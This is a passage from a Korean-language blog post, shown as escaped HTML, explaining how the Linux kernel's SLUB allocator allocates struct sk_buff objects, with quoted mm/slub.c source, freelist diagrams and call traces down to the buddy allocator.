	 *
	 * Architectures with slow multiplication can define
	 * WANT_PAGE_VIRTUAL in asm/page.h
	 */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#if defined(WANT_PAGE_VIRTUAL)
&lt;/span&gt;	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;virtual&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;			&lt;span class=&quot;cm&quot;&gt;/* Kernel virtual address (NULL if
					   not kmapped, ie. highmem) */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif &lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* WANT_PAGE_VIRTUAL */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef LAST_CPUPID_NOT_IN_PAGE_FLAGS
&lt;/span&gt;	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_last_cpupid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_struct_page_alignment&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;SLUB은, 위 소스 코드의 주석에서도 볼 수 있듯이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;freelist&lt;/code&gt; 멤버를 참조하여 오브젝트를 할당하고 다음으로 할당할 위치를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;offset&lt;/code&gt;으로 관리한다. 이를 그림으로 나타내면 다음과 같다:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;               page:
                     +-----------------------+
                     |         ...           |
    freelist -------&amp;gt;+-----------------------+
                     | returned object       |
                     +-----------------------+
                     |         ...           |
                     +-----------------------+&amp;lt;----- freelist + offset
                     | next object           |
                     +-----------------------+
                     |         ...           |
                     +-----------------------+
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;그럼 SLUB이 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct sk_buff&lt;/code&gt;를 할당하는 과정을 소스 코드로 알아보겠다[1].&lt;/p&gt;

&lt;p&gt;그 시작은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alloc_skb&lt;/code&gt; 함수이고, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__alloc_skb&lt;/code&gt; 함수의 레퍼 함수 (wrapper function)이다. (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc()&lt;/code&gt;의 call trace가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slab_alloc_node()&lt;/code&gt;부터 겹침을 확인하라)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

alloc_skb()                                                 kmalloc()
__alloc_skb() /* flags = 0, node = NUMA_NO_NODE = -1 */ __kmalloc() /* size&amp;lt;pagesize*2 */
kmem_cache_alloc_node() /* cache = skbuff_head_cache, */        |
                        /* gfp_mask &amp;amp; ~GFP_DMA, */              +-----------+
                        /* node = NUMA_NO_NODE = -1 */          |           |
slab_alloc_node() /* s = cache = skbuff_head_cache, */          V           V
                  /* gfpflags = gfp_mask &amp;amp; ~GFP_DMA, */  kmalloc_slab()  slab_alloc()
                  /* node = NUMA_NO_NODE = -1, */                       slab_alloc_node()  
                  /* addr = _RET_IP_, */
                  /* orig_size = s-&amp;gt;object_size */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 call trace에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slab_alloc_node&lt;/code&gt; 함수의 구현을 살펴보면 할당의 상황들이 나오기 시작한다. 만약 현재 상황이 초기 할당이거나 slab cache가 모두 할당된 상황이라면 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;struct kmem_cache_cpu&lt;/code&gt;의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;freelist&lt;/code&gt;나 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;page&lt;/code&gt; 멤버가 유효한 메모리 주소를 갖고 있지 않을 것이다. 하지만 이에 해당하지 않는다면 이들은 어떤 주소든 갖고 있을 것이며, 따라서 이로부터 할당하면 될 것이다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slub.c */&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * Inlined fastpath so that allocation functions (kmalloc, kmem_cache_alloc)
 * have the fastpath folded into their functions. So no function call
 * overhead for requests that can be satisfied on the fastpath.
 *
 * The fastpath works by first checking if the lockless freelist can be used.
 * If not then __slab_alloc is called for slow processing.
 *
 * Otherwise we can simply pick the next object from the lockless free list.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__always_inline&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;slab_alloc_node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;gfp_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gfpflags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;size_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;orig_size&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_cpu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;obj_cgroup&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;objcg&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;init&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;redo:&lt;/span&gt;
	&lt;span class=&quot;cm&quot;&gt;/*
	 * Must read kmem_cache cpu data via this cpu ptr. Preemption is
	 * enabled. We may switch back and forth between cpus while
	 * reading from one cpu area. That does not matter as long
	 * as we end up on the original cpu again when doing the cmpxchg.
	 *
	 * We must guarantee that tid and kmem_cache_cpu are retrieved on the
	 * same cpu. We read first the kmem_cache_cpu pointer and use it to read
	 * the tid. If we are preempted and switched to another cpu between the
	 * two reads, it&apos;s OK as the two are still associated with the same cpu
	 * and cmpxchg later will validate the cpu.
	 */&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;raw_cpu_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;READ_ONCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/*
	 * Irqless object alloc/free algorithm used here depends on sequence
	 * of fetching cpu_slab&apos;s data. tid should be fetched before anything
	 * on c to guarantee that object and page associated with previous tid
	 * won&apos;t be used with current tid. If we fetch tid first, object and
	 * page could be one associated with next tid and our alloc/free
	 * request will be failed. In this case, we will retry. So, no problem.
	 */&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;barrier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/*
	 * The transaction ids are globally unique per cpu and per operation on
	 * a per cpu queue. Thus they can be guarantee that the cmpxchg_double
	 * occurs on the right processor and that there was no operation on the
	 * linked list in between.
	 */&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;cm&quot;&gt;/*
	 * We cannot use the lockless fastpath on PREEMPT_RT because if a
	 * slowpath has taken the local_lock_irqsave(), it is not protected
	 * against a fast path operation in an irq handler. So we need to take
	 * the slow path which uses local_lock. It is still relatively fast if
	 * there is a suitable cpu freelist.
	 */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;IS_ENABLED&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CONFIG_PREEMPT_RT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt;
	    &lt;span class=&quot;n&quot;&gt;unlikely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;node_match&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__slab_alloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gfpflags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;node&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;next_object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_freepointer_safe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

		&lt;span class=&quot;cm&quot;&gt;/*
		 * The cmpxchg will only match if there was no additional
		 * operation and if we are on the right processor.
		 *
		 * The cmpxchg does the following atomically (without lock
		 * semantics!)
		 * 1. Relocate first pointer to the current per cpu area.
		 * 2. Verify that tid and freelist have not been changed
		 * 3. If they were not changed replace tid and freelist
		 *
		 * Since this is without lock semantics the protection is only
		 * against code executing on this cpu *not* from access by
		 * other cpus.
		 */&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unlikely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;this_cpu_cmpxchg_double&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				&lt;span class=&quot;n&quot;&gt;next_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;next_tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

			&lt;span class=&quot;n&quot;&gt;note_cmpxchg_failure&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;slab_alloc&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;redo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;prefetch_freepointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;next_object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ALLOC_FASTPATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;maybe_wipe_obj_freeptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;init&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;slab_want_init_on_alloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;gfpflags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;out:&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;slab_post_alloc_hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;objcg&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;gfpflags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;init&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;계속해서 나아가면, 다음과 같이 call trace를 정리할 수 있다. (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kmalloc()&lt;/code&gt;의 call trace가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slab_alloc_node()&lt;/code&gt;부터 겹침을 확인하라)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

alloc_skb()                                                 kmalloc()
__alloc_skb() /* flags = 0, node = NUMA_NO_NODE = -1 */ __kmalloc() /* size&amp;lt;pagesize*2 */
kmem_cache_alloc_node() /* cache = skbuff_head_cache, */        |
                        /* gfp_mask &amp;amp; ~GFP_DMA, */              +-----------+
                        /* node = NUMA_NO_NODE = -1 */          |           |
slab_alloc_node() /* s = cache = skbuff_head_cache, */          V           V
     |            /* gfpflags = gfp_mask &amp;amp; ~GFP_DMA, */  kmalloc_slab()  slab_alloc()
     |            /* node = NUMA_NO_NODE = -1, */                       slab_alloc_node()  
     |            /* addr = _RET_IP_, */
     |            /* orig_size = s-&amp;gt;object_size */
     |
     +-------------------+
     |slowpath           |fastpath (slab cache freelist)
     |                   |
     |no freelist or     |
     |no page            |--------------------------+
     |                   |1                         |2
     V                   V                          V
__slab_alloc()         get_freepointer_safe()   this_cpu_cmpxchg_double()
___slab_alloc()                                 raw_cpu_cmpxchg_double()
     |                                          __pcpu_double_call_return_bool()
     |                                          raw_cpu_cmpxchg_double_[1248]()
     |                                          raw_cpu_generic_cmpxchg_double()
     |
     |
     +---------------------------+------------------------+
     |3                          |1                       |2
     |no page                    |per-cpu partial list    |NUMA node partial list
     |                           |                        |
     V                           V                        V
new_slab()                slub_percpu_partial()       get_partial()
allocate_slab()
alloc_slab_page()
alloc_pages()
alloc_pages_node()
__alloc_pages_node()
__alloc_pages() /* This is the &apos;heart&apos; of the zoned buddy allocator */
get_page_from_freelist()
rmqueue()
    |
    |order &amp;lt;= 3
    |
    V
rmqueue_pcplist()
__rmqueue_pcplist() /* Remove page from the per-cpu list, caller must protect the list */
    |
    |if the list is empty
    |
    V
rmqueue_bulk() /* Obtain a specified number of elements from the buddy allocator */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 call trace를 살펴보면, slab의 초기 할당에서는 page allocator (zoned buddy allocator)로부터 페이지를 할당받는 것이 분명해보인다. 특히 per-cpu의 page list (linked list)가 비어있을 때는 buddy allocator로부터 페이지를 얻어올 것이다. 여기서는 slab fastpath를 살펴보도록 하겠다. 먼저 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;get_freepointer_safe()&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slab_alloc_node()&lt;/code&gt;의 구현을 읽어보면 slab cache의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;freelist&lt;/code&gt;에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s-&amp;gt;offset&lt;/code&gt;를 더하여 할당할 오브젝트의 주소를 얻음을 알 수 있다. 그리고 여기에 KASLR이 활성화될 경우 추가적인 연산 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;freelist_ptr()&lt;/code&gt;을 참고하라)이 수행된다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slub.c */&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;inline&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;get_freepointer_safe&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freepointer_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;debug_pagealloc_enabled_static&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;get_freepointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kasan_reset_tag&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;freepointer_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
